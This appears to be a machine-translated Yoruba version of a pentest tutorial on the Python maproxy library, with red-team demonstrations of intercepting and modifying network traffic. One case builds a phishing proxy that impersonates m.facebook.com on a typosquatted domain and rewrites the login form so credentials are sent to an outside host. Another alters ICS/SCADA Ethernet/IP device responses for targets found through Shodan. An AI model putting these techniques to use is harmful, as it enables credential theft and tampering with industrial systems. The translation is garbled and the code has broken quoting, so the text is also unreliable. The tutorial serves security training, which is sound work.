Ilana data nẹtiwọki lori fly

Itumọ nkan naa ni a pese sile ni aṣalẹ ti ibẹrẹ ikẹkọ naa “Pentest. Ilana idanwo ilaluja".

Ilana data nẹtiwọki lori fly

asọye

Orisirisi awọn iru awọn igbelewọn aabo, ti o wa lati idanwo ilaluja deede ati awọn iṣẹ Ẹgbẹ Pupa si gige awọn ẹrọ IoT/ICS ati SCADA, pẹlu ṣiṣẹ pẹlu awọn ilana nẹtiwọọki alakomeji, iyẹn ni, intercepting pataki ati iyipada data nẹtiwọki laarin alabara ati ibi-afẹde. Gbigbọn nẹtiwọọki nẹtiwọọki kii ṣe iṣẹ-ṣiṣe ti o nira nitori a ni awọn irinṣẹ bii Wireshark, Tcpdump tabi Scapy, ṣugbọn iyipada dabi pe o jẹ iṣẹ-ṣiṣe aladanla diẹ sii nitori a yoo nilo lati ni iru wiwo kan lati ka data nẹtiwọọki, ṣe àlẹmọ, yipada o lori awọn fly ki o si fi pada si awọn afojusun ogun ni fere gidi akoko. Ni afikun, yoo jẹ apẹrẹ ti iru irinṣẹ ba le ṣiṣẹ laifọwọyi pẹlu awọn asopọ ti o jọra pupọ ati jẹ isọdi nipa lilo awọn iwe afọwọkọ.

Ni ọjọ kan Mo ṣe awari ọpa kan ti a pe maproxy, awọn iwe ni kiakia jẹ ki o ye mi pe maproxy – o kan ohun ti Mo nilo. Eyi jẹ irọrun ti o rọrun, wapọ ati irọrun atunto TCP aṣoju. Mo ṣe idanwo ọpa yii lori ọpọlọpọ awọn ohun elo idiju, pẹlu awọn ẹrọ ICS (eyiti o ṣe agbejade ọpọlọpọ awọn apo-iwe) lati rii boya o le mu ọpọlọpọ awọn asopọ ti o jọra, ati pe ọpa naa ṣe daradara.

Nkan yii yoo ṣafihan ọ si ṣiṣe data nẹtiwọọki lori lilo lilo maproxy.

Akopọ

Irinṣẹ maproxy da lori Tornado, ilana nẹtiwọọki asynchronous ti o gbajumọ ati ti ogbo ni Python.

Ni gbogbogbo, o le ṣiṣẹ ni awọn ọna pupọ:

  • TCP:TCP - awọn asopọ TCP ti ko paro;
  • TCP:SSL и SSL:TCP - pẹlu fifi ẹnọ kọ nkan-ọna kan;
  • SSL:SSL – meji-ọna ìsekóòdù.

O wa bi ile-ikawe kan. Fun ibẹrẹ ni kiakia, o le lo apẹẹrẹ awọn faili ti o ṣe afihan akọkọ ìkàwé awọn iṣẹ:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Ọran 1 - aṣoju bidirectional ti o rọrun

Da lori tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Nipa aiyipada ProxyServer() gba awọn ariyanjiyan meji - ipo asopọ ati ibudo ibi-afẹde. server.listen() gba ariyanjiyan kan - ibudo fun gbigbọ asopọ ti nwọle.

Ṣiṣe awọn iwe afọwọkọ:

# python tcp2tcp.py

Lati le ṣiṣẹ idanwo naa, a yoo sopọ si olupin SSH agbegbe nipasẹ iwe afọwọkọ aṣoju wa, eyiti o tẹtisi lori 2222/tcp ibudo ati ki o sopọ si kan boṣewa ibudo 22/tcp Awọn olupin SSH:

Ilana data nẹtiwọki lori fly

Asia kaabo naa sọ fun ọ pe iwe afọwọkọ apẹẹrẹ wa ti ṣaṣeyọri ni aṣoju ijabọ nẹtiwọọki.

Ọran 2 - iyipada data

Miiran demo akosile logging_proxy.py apẹrẹ fun ibaraenisepo pẹlu data nẹtiwọki. Awọn asọye ninu faili ṣe apejuwe awọn ọna kilasi ti o le yipada lati ṣaṣeyọri ibi-afẹde rẹ:

Ilana data nẹtiwọki lori fly

Ohun ti o nifẹ julọ ni nibi:

  • on_c2p_done_read - lati da data duro ni ọna lati ọdọ alabara si olupin;
  • on_p2s_done_read - ifasilẹ awọn.

Jẹ ki a gbiyanju yiyipada asia SSH ti olupin pada si alabara:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Ṣiṣẹ iwe afọwọkọ naa:

Ilana data nẹtiwọki lori fly

Bi o ti le rii, a ṣi alabara lọna nitori pe orukọ olupin SSH fun u ti yipada si «DumnySSH».

Ilana data nẹtiwọki lori fly

Ọran 3 – oju-iwe ayelujara ararẹ ti o rọrun

Awọn ọna ailopin lo wa lati lo ọpa yii. Ni akoko yii jẹ ki a dojukọ nkan ti o wulo diẹ sii lati ẹgbẹ awọn iṣẹ ṣiṣe Ẹgbẹ Red. Jẹ ki a fara wé oju-iwe ibalẹ m.facebook.com ki o si lo agbegbe aṣa pẹlu titẹ mọọmọ, fun apẹẹrẹ, m.facebok.com. Fun awọn idi ifihan, jẹ ki a kan ro pe agbegbe ti forukọsilẹ nipasẹ wa.

A yoo ṣe agbekalẹ asopọ nẹtiwọọki ti ko paro pẹlu aṣoju olufaragba wa ati ṣiṣan SSL si olupin Facebook (31.13.81.36). Lati jẹ ki apẹẹrẹ yii ṣiṣẹ, a nilo lati rọpo akọsori agbalejo HTTP ki o si fi orukọ agbalejo to pe, ati pe a yoo tun mu funmorawon esi kuro ki a le ni irọrun wọle si awọn akoonu naa. Nigbamii a yoo rọpo fọọmu HTML ki a fi awọn iwe-ẹri iwọle ranṣẹ si wa dipo awọn olupin Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/yo/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Níkẹyìn:

Ilana data nẹtiwọki lori fly

Bi o ti le rii, a ni anfani ni aṣeyọri lati rọpo aaye atilẹba naa.

Ọran 4 - Porting Ethernet/IP

Mo ti ṣe pẹlu awọn ẹrọ ile-iṣẹ ati sọfitiwia (ICS/SCADA) fun igba diẹ, gẹgẹbi awọn olutona eto (PLC), awọn modulu I/O, awọn awakọ, awọn relays, awọn agbegbe siseto akaba ati ọpọlọpọ diẹ sii. Idi eyi jẹ fun awọn ti o fẹran awọn nkan ile-iṣẹ. Sakasaka iru awọn solusan pẹlu ṣiṣere ṣiṣẹ pẹlu awọn ilana nẹtiwọọki. Ninu apẹẹrẹ atẹle, Emi yoo fẹ lati ṣafihan bi o ṣe le ṣe atunṣe ijabọ nẹtiwọki ICS/SCADA.

Fun eyi iwọ yoo nilo awọn wọnyi:

  • Nẹtiwọọki sniffer, fun apẹẹrẹ, Wireshark;
  • Ethernet/IP tabi ẹrọ SIP nikan, o le rii ni lilo iṣẹ Shodan;
  • Iwe afọwọkọ wa da lori maproxy.

Ni akọkọ, jẹ ki a wo kini esi idanimọ aṣoju lati CIP (Ilana Iṣẹ Iṣelọpọ ti o wọpọ) dabi:

Ilana data nẹtiwọki lori fly

Idanimọ ẹrọ jẹ aṣeyọri nipa lilo Ilana Ethernet/IP, eyiti o jẹ ẹya imudara ti Ilana Ethernet ile-iṣẹ ti o murasilẹ awọn ilana iṣakoso bii CIP. A yoo yi orukọ ID ti o ni afihan ti o han ni sikirinifoto "NI-IndComm fun Ethernet" lilo iwe afọwọkọ aṣoju wa. A le tun lo iwe afọwọkọ naa logging_proxy.py ati bakanna yipada ọna kilasi on_p2s_done_read, nitori a fẹ ki orukọ idanimọ miiran han lori alabara.

Koodu:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Ni pataki, a beere fun idanimọ ẹrọ lẹẹmeji, idahun keji jẹ ọkan atilẹba, ati pe akọkọ ti yipada lori fo.

Ati nikẹhin

Ni temi maproxy Ọpa ti o rọrun ati irọrun, eyiti o tun kọ ni Python, nitorinaa Mo gbagbọ pe iwọ paapaa le ni anfani lati lo. Nitoribẹẹ, awọn irinṣẹ eka diẹ sii wa fun sisẹ ati iyipada data nẹtiwọọki, ṣugbọn wọn tun nilo akiyesi diẹ sii ati pe wọn nigbagbogbo ṣẹda fun ọran lilo kan pato, fun apẹẹrẹ. Muraena, Modlishka tabi buburuginx fun igba iru si awọn kẹta, tabi agolo fun awọn ti o kẹhin nla. Ọna kan tabi omiiran, pẹlu iranlọwọ maproxy o le yara ṣe awọn imọran rẹ fun kikọlu data nẹtiwọọki, nitori awọn iwe afọwọkọ apẹẹrẹ jẹ kedere.

Awọn ọna ṣiṣe idanwo idanwo ni Windows AD

orisun: www.habr.com

Fi ọrọìwòye kun